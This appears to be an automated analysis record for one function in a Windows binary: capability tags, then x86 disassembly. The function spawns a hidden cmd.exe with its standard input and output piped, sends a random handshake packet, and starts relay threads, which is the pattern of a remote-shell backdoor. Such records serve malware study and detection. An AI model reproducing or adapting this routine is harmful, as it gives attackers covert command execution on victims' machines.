Function at 0x10015100
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007eb6c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x17c
push edi
mov dword [ebp - 0x188], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x188]
call fcn.1000f840
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x188]
mov dword [ecx], 0x1007f89c
mov dword [ebp - 0x28], 0
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x184], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x180]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x134], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0x188]
mov dword [ecx + 0x114], 0
mov edx, dword [ebp - 0x188]
mov dword [edx + 0x118], 0
mov eax, dword [ebp - 0x188]
mov dword [eax + 0x11c], 0
mov ecx, dword [ebp - 0x188]
mov dword [ecx + 0x120], 0
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x188]
add eax, 0x120
push eax
mov ecx, dword [ebp - 0x188]
add ecx, 0x114
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10015261
mov edx, dword [ebp - 0x188]
cmp dword [edx + 0x114], 0
je 0x1001523a
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x188]
cmp dword [edx + 0x120], 0
je 0x1001525c
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10015518
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x188]
add eax, 0x118
push eax
mov ecx, dword [ebp - 0x188]
add ecx, 0x11c
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100152d3
mov edx, dword [ebp - 0x188]
cmp dword [edx + 0x118], 0
je 0x100152ac
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x188]
cmp dword [edx + 0x11c], 0
je 0x100152ce
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10015518
push 0x44
push 0
lea edx, [ebp - 0x184]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x184], 0x44
mov word [ebp - 0x154], 0
mov dword [ebp - 0x158], 0x101
mov edx, dword [ebp - 0x188]
mov eax, dword [edx + 0x11c]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x188]
mov edx, dword [ecx + 0x120]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
push 0x104
lea ecx, [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe
lea edx, [ebp - 0x134]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x184]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100153f1
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x188]
mov eax, dword [edx + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x188]
mov edx, dword [ecx + 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10015518
mov edx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x1c]
mov dword [edx + 0x124], eax
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 0x128], edx
mov byte [ebp - 0x13c], 0xaa
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [ebp - 0x140], edx
push 5
push 0
lea edx, [ebp - 0x30]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x138], 0
jmp 0x10015458
mov eax, dword [ebp - 0x138]
add eax, 1
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x138]
cmp ecx, dword [ebp - 0x140]
jge 0x10015480
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x138]
mov byte [ebp + eax - 0x30], dl
jmp 0x10015449
push 1
mov ecx, dword [ebp - 0x140]
push ecx
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 4]
call fcn.10004efc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 1
lea ecx, [ebp - 0x13c]
push ecx
mov ecx, dword [ebp - 0x188]
call fcn.1000f8b3
mov ecx, dword [ebp - 0x188]
call fcn.1000f92b
push 0
push 0
push 0
mov edx, dword [ebp - 0x188]
push edx
push 0x100156e8
push 0
push 0
call fcn.1001b377
add esp, 0x1c
mov ecx, dword [ebp - 0x188]
mov dword [ecx + 0x12c], eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x188]
push edx
push 0x100157ed
push 0
push 0
call fcn.1001b377
add esp, 0x1c
mov ecx, dword [ebp - 0x188]
mov dword [ecx + 0x130], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret 4